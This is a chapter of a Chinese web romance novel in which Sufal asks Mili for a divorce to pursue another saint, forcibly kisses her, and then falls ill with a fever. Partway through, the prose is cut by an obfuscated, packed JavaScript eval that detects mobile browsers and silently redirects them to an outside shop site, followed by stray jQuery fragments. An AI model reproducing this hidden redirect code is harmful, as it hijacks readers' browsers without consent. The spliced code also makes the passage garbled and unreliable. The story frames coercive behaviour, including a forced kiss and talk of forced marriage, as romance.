43.他说我们离婚吧
    这个时空的圣女消息。

    咪莉听到这几个字眼时大脑瞬间一片凌乱,完全没有了困意,她有些不太明白地问:“这是什么意思?”

    “就是这里刚被上天选中一位圣女降世。”苏法尔轻轻翻了个身,和咪莉面对着面,脸上的表情有一些看不太清的笑意,“我想等从这里出去后,我去找她。”

    咪莉从床上坐起来,一言不发地看着他。

    听他的意思,是想要找备用神力了?取神力不是要求必须和圣女结为夫妻吗?而且可以把这个时空的人带到一百年多后吗?

    还有苏法尔如果选择了另一名圣女,那她呢?是不是就可以和苏法尔解除婚约了?

    她正想着许许多多,苏法尔便开口证实了她的想法。

    “咪莉,我们离婚吧。”苏法尔躺在那里,轻飘飘地说着,就好像在说“我们吃饭吧”那样平淡。

    咪莉的表情瞬间有些动荡,心情竟然不是她认为该有的喜悦,而是心猛地下沉,掉落无尽的深海,激起一圈圈震荡的涟漪。

    她掩饰住自己的不对劲,凑近些身子震惊地问:“你这么快就决定好了?万一人家不要你呢?就算你有钱有能力,也不是每个女孩子都会嫁给一个根本不认识的人啊。”

    苏法尔眨了眨眼,脸上是一贯自信从容的笑:“只要我给够她好处,她会答应的,如果她不答应……”

    “不答应你就怎么样?”咪莉鄙视地瞟了他一眼,按耐住心底升腾起的莫名戾气,“还要当恶霸强娶人家吗?”

    他的笑容变得有些邪恶:“这确实是我准备的方法。”

    咪莉顿时气不打一处来,抄起手边的白色枕头就往他身上砸:“你这个混蛋啊!简直就是无耻!”

    砸了一下不解气,咪莉准备还想继续砸死他,却被苏法尔捉住了枕头说:“你不是该高兴吗?因为你一直都希望和我离婚的。”

    “我当然高兴和你离婚,生气是因为你坏到还要去残害其他无辜女孩子!”咪莉气呼呼地喘着气,从他手里扯着枕头。

    他不放枕头,眼里有些迷惑:“可这和你没有关系不是吗?你和她又不认识,甚至连面都没见过。”

    “喂,我才不会像你这么没心没肺,就算是一个毫无关系的人受了伤我都会关心的。”咪莉瞪着他,终于从他手里抽出了枕头,也可以说是他松开了枕头。

    但其实他说得对,苏法尔要怎样对待其他圣女和她没有一分关系,她所生气的点只是因为怀有大众同情心理,仅此而已。

    咪莉心里越发得堵,她讨厌苏法尔这样轻率对她,讨厌他这样随意对待神圣的婚姻,他就是个该死的大混蛋,前脚才说完“我对我妻子绝对忠诚”,后脚就跟她说“我们离婚吧”,他的演技好到可以去当明星了,绝对票房大卖。

    咪莉边摆弄枕头边这样心绪烦躁地想着,见苏法尔一直揣着胳膊躺在那里平静地看她,她更火大了,咬咬唇后,朝他身上踢过去,声音因为憋着怒气而有些尖锐:“我不要和你睡!你滚下去!”

    她的力气算不上小,但面对的是身强力壮比她高一头还猛出许多的苏法尔,她的脚踢在他身上根本不能令他挪动半分,身体只是象征性地晃了几下。

    她不知道自己究竟在愤怒什么,她只觉得眼前的人可恶到恨不得踹死他,脑子里有个充满怨气的声音叫嚣着掐死这个卑鄙无耻虚情假意的渣男。

    苏法尔抓过她乱踹的脚腕,语气里竟然是一丝欢喜:“咪莉,你在生气?”

    “我没有!”咪莉挣扎着脚,他的掌心灼热,烫得她冰凉的脚竟有些温暖。

    “那你说话声音为什么这么大?”

    “我说话声音本来就大!”咪莉见自己的脚动不了,扑过去掰他的手,可他的手指就像钢圈一样牢牢圈着自己的脚腕,她连个缝隙都插不进去。

    苏法尔叹了口气:“口是心非的女孩子很不可爱哎。”

    明明说着不可爱,眼里却是遮掩不住的欢喜,他的心情从来没有这样好过,那些堵塞的负面情绪终于逐渐散开。

    “你管我可爱不可爱,你放手!”咪莉在他胳膊上乱打,打到他的胸口上时,他终于松开了咪莉的脚,闷闷地咳嗽了几声。

    咪莉出了一身热汗,瞪着又在装柔弱可怜的他,丝毫不怜惜道:“下去,我不和你一起睡。”

    苏法尔抬起有些虚弱的脸,他的眼睛是一片浓稠的黑,昏黄的光华覆在他精致窄小的脸庞上,嘴角翘着一个压不住的弧度。

    他见无法再靠受伤获取咪莉的心软,就像只大型狼犬猛地起身扑向咪莉,将她压在了柔软的床铺之中,看着她星星点点般闪耀的眼眸,极其蔫坏地挑眉:“你就是在生气,生气我要和你离婚?还是生气我和其他圣女结婚?”

    咪莉本来被他突如其来的偷袭动作吓得没反应,听到他的话后就像被踩到了尾巴一样浑身激动:“你胡说什么!我告诉你,你要是再不放开我,我就……”

    她想不出什么能让苏法尔害怕的威胁,灵光一动下,把舌头伸出来抵在牙齿间,呜呜呀呀地说:“额够一树可几……”

    发现他歪着头露出迷惑的神情,咪莉觉得自己就像个大傻子,收回舌头再次警告:“我就咬舌自尽!让你取不到神力救不了你父亲!”

    苏法尔的笑变得有些阴险变态:“没事,你死了,我会找其他圣女,这不是正好有其他圣女消息?我也省的和你离婚了。”

    “啊啊啊啊!”混蛋混蛋,她怎么会遇到这种不要脸的臭男人!

    苏法尔抓住她在自己胸前乱砸的两只手按到她的头顶,脸压低了些,浓密的睫毛给他的黑眸投下深邃的阴影,她的呼吸一进一出,铺洒在自己脸上,看见她微微瞪大警惕的眼睛,他忽然吻了上去。

    柔软的双唇散发出淡淡芳甜,他贴着咪莉的身子,能清晰感受到隔着睡衣下她那颗如打鼓般的激烈心跳声。

    咪莉大脑宕机了几秒,苏法尔的吻和他的掌心一样滚烫,她的嘴唇上落下来他的吻时就像被种下一颗火种一样,瞬间由她的唇燃遍自己全身每一个细胞,仿佛置身一片火海那样热到窒息。

    她的脸颊发热,呼吸几乎停止,看着他近在眼前的这张漂亮到没有一丝缺点的脸,咪莉竟觉得这个吻很美好,美好到她刚刚心里所有没由来的暴躁情绪都被安抚了。

    苏法尔微微移开了脸,凝视着双眼瞪大到炯炯有神的咪莉,语气有些惆怅:“接吻要闭眼睛啊。”

    咪莉眨了眨闪亮眼睛,发觉自己刚刚热到窒息是因为自己忘了呼吸,等他再次碰上自己的双唇时,立刻张开嘴巴咬住他的下唇。

    嗯,口感肉乎乎的,就像啃了一口六分熟的昂贵牛排。

    “唔。”苏法尔吃痛地捂住自己的嘴巴,把手拿开一看,借着烛火暗光看见有一抹小小的血珠在指腹。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290247|145966||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>咪莉趁着他松手把他推开,骑到他腰上按住他的双肩,眸光凶狠到像极了准备宰杀大恶狼的屠夫:“你想做什么?”

    他的眸色还是黑色,不是突然跑出来的纳罗,那苏法尔为什么要吻她?

    苏法尔躺在他身下,两只胳膊分开摊在两侧,乖乖地毫无反抗反应,眼睛里闪烁着像小孩子的亮晶晶光华:“嗯……因为你看起来很好吃。”

    “你把我当食物吗还好吃!”咪莉揪起他的衬衫领子,心烦意乱地晃啊晃,“你这个流氓,知不知道你这叫非礼!”

    他歪了歪脸,唇上的那颗血珠涨得更大,让他的脸增添了丝美丽的破碎感:“亲亲自己的老婆也不可以吗?”

    看着苏法尔这张俊美非凡的脸做着无辜状,咪莉闭了闭眼。

    她不能被美色迷惑,这个男人可是要跟自己离婚去找其他女孩子的渣男!

    可是他说的话怎么这么耳熟?好像纳罗也说过类似的?

    啊,难道他现在是纳罗假扮的苏法尔?!

    一想到这个可能,咪莉赶紧捏着他尖尖的下巴翻来覆去的看。

    眉毛眼睛鼻子脸型头发,毫无变化,瞳色也是稳定的浓黑。

    但说不定是伪装呢?用了什么奇奇怪怪的易容魔法也说不定。

    咪莉恶狠狠地瞪着一直老老实实当案板上的鱼某人,然后双手揪着他的衣领:“说,你是苏法尔还是纳罗!”

    他笑了下:“怎么,只有纳罗这么对你才不会觉得奇怪?”

    咪莉愣了愣,立马继续维持自己的一脸凶相,刚要说什么,他就用手背掩住自己的眼睛,声音变得忧伤起来:“咪莉,我好像生病了。”

    “别给我装。”咪莉重重打了一下他的胳膊,“我还没跟你算账。”然后她从他身上下来,把他往地上推。

    苏法尔翻身搂着被子,小孩儿闹脾气一样:“我好像发烧了,脸好烫,身体也好烫。”

    他这一说,咪莉才回味起来,刚刚苏法尔的手心和双唇确实灼热到不似正常人体温。

    但她给不出什么好脸色,冷哼着去摸他的额头,发现竟烫到令她的手心害怕到立刻缩了回去。

    “喂,你真的发烧了!”这个男人怎么这么体弱多病,真是麻烦。

    咪莉不耐烦地下床,根本没注意到自己有多着急,她一溜烟就跑出了房门,去找埃比茨的手下要退烧药。

    苏法尔吃下药后长叹着瘫在床上,咪莉也没赶他下床了,毕竟她做不出把一个病患撵去地上睡这种狠心的事。

    “今天就放过你,不许再搞有的没的。”咪莉警告完他,关了灯,连墙壁上的烛灯也灭掉,摸着黑回到床上,掀被子的动作要多大有多大。

    苏法尔用被子给自己盖了盖,抱怨道:“被窝里的热气都要被你扇没了。”

    咪莉握着拳,告诉自己要忍耐,不要和一个病人计较。

    但是等室内彻底安静下来,她平躺在床上,才意识到自己刚刚消耗了多少体力,她的四肢很累,小腹里更是难忍的冰痛感。

    咪莉蜷缩起身子,皱着眉嘟嘟囔囔,她以前从来不痛经的,都怪这些日子以来一直神经紧绷,心情不稳定,苏法尔还一直折腾她。

    唉,自从认识他,她好像就一直很倒霉啊,就按他说的吧,等回到自己的时空,和他离婚,从今以后再也不相见,管他利用谁谁谁结婚复活什么的,和她又有什么关系。